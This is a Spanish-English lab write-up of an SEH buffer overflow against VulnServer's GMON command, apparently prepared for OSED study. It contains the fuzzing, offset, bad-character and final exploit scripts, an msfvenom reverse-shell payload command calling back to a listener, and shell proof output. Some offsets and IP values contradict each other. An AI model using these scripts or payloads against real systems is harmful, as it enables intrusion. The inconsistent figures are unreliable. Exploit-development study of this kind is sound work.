AVILX

EXPLOIT DEVELOPMENT · SEH BUFFER OVERFLOW · 2026

VulnServer GMON

SEH Buffer Overflow · OSED Preparation · Structured Exception Handling · No Protections

TargetVulnServer 1.00 — GMON command
PlatformWindows 10 Pro (x64)
ProtectionsNo ASLR · No DEP · No SafeSEH
AttackerBlackArch Linux
DebuggerWinDbg
DisassemblerIDA Free
AnalistaJesús Ávila (Avilx)
FechaOctubre 2026
Portafolioavilx.dev
SHELL OBTENIDA EXPLOIT DEV · SEH · x86 · OSED PREP

Entorno de laboratorio autorizado | Solo con fines educativos

exploit-dev-labs / vulnserver-seh

fuzzer.py · offset.py · seh_verify.py · badchars.py · egghunter.py · exploit.py · 0.py

Ver código

Overview

This lab demonstrates how Structured Exception Handling (SEH) overflows work and how to exploit them. The target is a Windows 10 virtual machine running VulnServer, a deliberately vulnerable application exposing 12 commands. The vulnerable command in this lab is GMON, which is susceptible to a SEH-based buffer overflow. The goal was to exploit GMON, understand how SEH exploitation differs from a classic stack overflow, and obtain a reverse shell as preparation for the OSED certification. The result was successful: a reverse shell was obtained on DESKTOP-SL1FVD0, confirming full compromise of the target.

Environment Setup

Attacker Machine

ComponentDetails
Operating SystemBlackArch Linux
Python VersionPython 3.14.8
ToolsPython scripting, msfvenom

Target Machine

ComponentDetails
VirtualizerVMware Workstation Pro
Operating SystemWindows 10 Pro
ApplicationVulnServer 1.00
DebuggerWinDbg
DisassemblerIDA Free
ProtectionsNo ASLR, No DEP, No SafeSEH

Network Configuration

HostIP Address
Attacker (BlackArch)192.168.174.1
Target (Windows VM)192.168.174.132
VulnServer Port9999

Service Reconnaissance

Service Banner

nc 192.168.174.132 9999
Welcome to Vulnerable Server! Enter HELP for help.

Available Commands

Valid Commands:
HELP
STATS [stat_value]
RTIME [rtime_value]
LTIME [ltime_value]
SRUN [srun_value]
TRUN [trun_value]
GMON [gmon_value]
GDOG [gdog_value]
KSTET [kstet_value]
GTER [gter_value]
HTER [hter_value]
LTER [lter_value]
KSTAN [lstan_value]
Finding
The service exposes 12 commands. Since no source code is available, all commands are considered potential targets. Fuzzing will be applied to each command to identify which one is vulnerable, simulating a real black-box scenario, even though in this lab the vulnerable command is known to be GMON.

Fuzzing

Hypothesis
An increasing buffer of ‘A’ characters will be sent to the GMON command to trigger a crash. The goal is to confirm whether GMON is vulnerable to a SEH overflow and identify the approximate crash size. The exact byte count is unknown — fuzzing will determine it.

Fuzzer Script

import socket
from time import sleep

ip = "192.168.174.132"
port = 9999
buffer = "A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        print(s.recv(1024))
        s.send(('GMON /' + buffer).encode())
        s.close()
        sleep(1)
        buffer = buffer + "A" * 100
    except:
        print(f"Crashed at {len(buffer)} bytes")
        break

Result

Crashed at 4100 bytes
Finding
A buffer of ‘A’ characters was sent to the GMON command. The service crashed at 4100 bytes. The WinDbg command !exchain confirmed that the SEH handler was overwritten with 0x41414141, indicating that the buffer reached and corrupted the SEH record.

Offset Calculation

Hypothesis
A 4100-byte cyclic pattern will be sent to pinpoint the exact offsets of nSEH and SEH within the buffer, using the crash size confirmed during fuzzing.

Pattern Generation

/opt/metasploit/tools/exploit/pattern_create.rb -l 4100

Offset Script

import socket

ip = "192.168.174.132"
port = 9999
buffer = "..."  # 4100-byte cyclic pattern generated with pattern_create.rb -l 4100

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(('GMON /' + buffer).encode())
s.close()

SEH Values at Crash

/opt/metasploit/tools/exploit/pattern_offset.rb -l 4100 -q 356f4534
[*] Exact match at offset 3554

/opt/metasploit/tools/exploit/pattern_offset.rb -l 4100 -q 6f45336f
[*] Exact match at offset 3550
Confirmed
The offset to nSEH is 3554 bytes and the offset to SEH is 3550 bytes, identified using pattern_offset.rb with values from the !exchain output.

SEH Overwrite Verification

Hypothesis
The crash size and offsets are already known: crash at 4100 bytes, nSEH at offset 3550, SEH handler at offset 3554. This step verifies full control of the SEH record by sending a structured buffer. The !exchain output is expected to show 0x42424242 in nSEH and 0x43434343 in SEH.
import socket

ip = "192.168.174.132"
port = 9999
buffer = b"A" * 3550 + b"B" * 4 + b"C" * 4 + b"D" * (4100 - 3558)

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b'GMON /' + buffer)
s.close()
Confirmed
nSEH overwritten with 0x43434343 (CCCC) and SEH handler overwritten with 0x42424242 (BBBB), confirmed via !exchain. Full control of the SEH record verified.

NOTE

The hypothesis predicted B values in nSEH and C values in SEH. The result showed the opposite — B at nSEH (3550) and C at SEH (3554) were swapped in the actual record. This confirms nSEH is at offset 3550 and SEH handler is at offset 3554.

Bad Characters Identification

Hypothesis
Bad characters are bytes that the service modifies or removes during input processing. If shellcode contains a bad character, it will arrive corrupted in memory and fail to execute. To identify them, all bytes from \x01 to \xff will be placed after the SEH record in the buffer and inspected in memory using db esp in WinDbg.
import socket

ip = "192.168.174.132"
port = 9999
badchars = b""
for i in range(1, 256):
    badchars += bytes([i])
buffer = b"A" * 3550 + b"B" * 4 + b"C" * 4 + badchars

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b'GMON /' + buffer)
s.close()
Finding
All bytes from \x01 to \xff were placed after the SEH record in the buffer. Memory inspection using db in WinDbg showed the sequence intact from \x01 to \x2c, after which the buffer was truncated. The confirmed bad characters are \x00 and \x2d (the ‘-’ character).

Finding POP POP RET

Hypothesis
POP POP RET is required instead of JMP ESP because in SEH exploitation ESP does not point to the shellcode at the time of the exception. Two POPs remove values from the stack until the address of nSEH sits on top, and RET jumps there. The module must have SafeSEH disabled — otherwise Windows will reject the handler address at runtime. The POP POP RET address must contain no bad characters (\x00, \x2d), as they would corrupt the address before it reaches the SEH record.

Module Analysis with IDA Free

File loaded: essfunc.dll
Search -> Sequence of bytes: 58 5D C3 (POP POP RET)

Result: POP POP RET gadget found at 0x625010B4
pop ebx
pop ebp
ret

Verification in WinDbg

0:003> u 625010B4
essfunc+0x10b4:
625010b4 5b    pop  ebx
625010b5 5d    pop  ebp
625010b6 c3    ret
Confirmed
POP POP RET gadget found at 0x625010B4 in essfunc.dll — verified with WinDbg u command. Address contains no bad characters (\x00, \x2d). Module has no SafeSEH.

Shellcode & Exploitation

Shellcode Generation

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.174.124 LPORT=4444 -b "\x00\x2d" -f python
Payload size: 351 bytes
Encoder: x86/shikata_ga_nai

Final Exploit Script

import socket
from struct import pack

ip = "192.168.174.132"
port = 9999

# Full reverse shell shellcode (351 bytes, shikata_ga_nai encoded)
buf = b""
buf += b"\xbd\xe2\xba\x6c\xc1\xdd\xc1\xd9\x74\x24\xf4\x58"
buf += b"\x29\xc9\xb1\x52\x31\x68\x12\x83\xe8\xfc\x03\x8a"
buf += b"\xb4\x8e\x34\xb6\x21\xcc\xb7\x46\xb2\xb1\x3e\xa3"
# ... (full shellcode in exploit.py, see GitHub)

nseh = pack('<L', 0x08EB9090)
seh = b"\xb4\x10\x50\x62"            # POP POP RET address
nops = b"\x90" * 4                   # alignment
jump_back = b"\xe9\xff\xfd\xff\xff"  # jump back into shellcode

shellcode = b"\x90" * 4 + buf
shellcode += b"C" * (500 - len(shellcode))

buffer = b"A" * (3550 - 500) + shellcode + nseh + seh + nops + jump_back + b"D" * (4000 - 3550 - 4 - 4 - 4 - 5)

print(f"Buffer length: {len(buffer)}")
print(f"Shellcode length: {len(shellcode)}")

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024))
s.send(b"GMON /" + buffer)
s.close()

Exploit Execution

A Netcat listener was started on port 4444 to catch the incoming reverse shell. The exploit sent a structured buffer of 4000 bytes: 3050 ‘A’ bytes followed by the 500-byte shellcode space, nSEH overwritten with a short jump forward 8 bytes, SEH overwritten with the POP POP RET address at 0x625010b4, 4 NOP bytes for alignment, a 5-byte backward jump redirecting execution into the shellcode, and padding ‘D’ bytes to trigger the crash. Upon execution, a reverse shell connected back from DESKTOP-SL1FVD0 as user avilx.

Proof of Exploitation

C:\Users\Avilx\Desktop\vulnserver-master>whoami
whoami
desktop-sl1fvd0\avilx

C:\Users\Avilx\Desktop\vulnserver-master>hostname
hostname
DESKTOP-SL1FVD0
Attack Vector
SEH buffer overflow in VulnServer’s GMON command → offset to nSEH at 3550 bytes → nSEH overwritten with short jump forward 8 bytes → SEH overwritten with POP POP RET at 0x625010b4 in essfunc.dll → 5-byte backward jump redirects execution into shikata_ga_nai encoded shellcode → reverse shell obtained as desktop-sl1fvd0\avilx.

Final Reflection

What Went Well

The reconnaissance, fuzzing, offset calculation, SEH overwrite verification, and POP POP RET identification all worked correctly on the first attempt. WinDbg was used effectively throughout — stepping through the exception chain instruction by instruction confirmed that every piece of the exploit was landing correctly. IDA Free was used successfully for the first time to identify the POP POP RET gadget.

What Went Wrong

The main difficulty was shellcode execution. Multiple approaches failed: the standard egghunter was incompatible with Windows 10 syscalls, shikata_ga_nai caused stack corruption when placed after SEH, and the backward jump offset was miscalculated several times. Windows Defender also silently blocked the reverse shell payload without any visible error, which caused significant confusion during debugging.

Lessons Learned

Not every exploit follows a linear path. Real exploit development requires patience, systematic debugging, and the ability to adapt when an approach fails. The egghunter failure led to reading a writeup for structural guidance on the two-jump technique, which then had to be adapted to this specific environment. The most important lesson is that each failed attempt produces information that narrows down the problem.

Difference from Lab 01

In Lab 01 (VulnServer TRUN), EIP was overwritten directly and a JMP ESP redirected execution to shellcode on the stack. In SEH exploitation, EIP is never overwritten directly — instead the SEH handler is overwritten with POP POP RET, which walks the stack back to nSEH, which then jumps to the shellcode. This technique appears in real CVEs when stack cookies or other protections prevent direct EIP overwrite but SEH is not protected.

Connection to Vulnerability Research

During exploitation it was suspected that SafeSEH might be blocking the shellcode. This was verified using the WinDbg command !dh -f essfunc, which showed 0 DLL characteristics — confirming that SafeSEH was not enabled. SafeSEH works by validating SEH handler addresses at runtime against a whitelist of approved handlers compiled into the binary. If the overwritten SEH address is not on that list, Windows rejects it and prevents execution. Had SafeSEH been enabled, a bypass would require finding a POP POP RET gadget inside a module compiled without SafeSEH, or using a different exploitation technique entirely.

Time Breakdown

PhaseTime
Reconnaissance & Fuzzing1 Hour
Offset & SEH Verification30 Minutes
Bad Characters10 Minutes
POP POP RET (IDA Free)10 Minutes
Shellcode & Final Exploit4 Hours
Total5 Hours 50 Minutes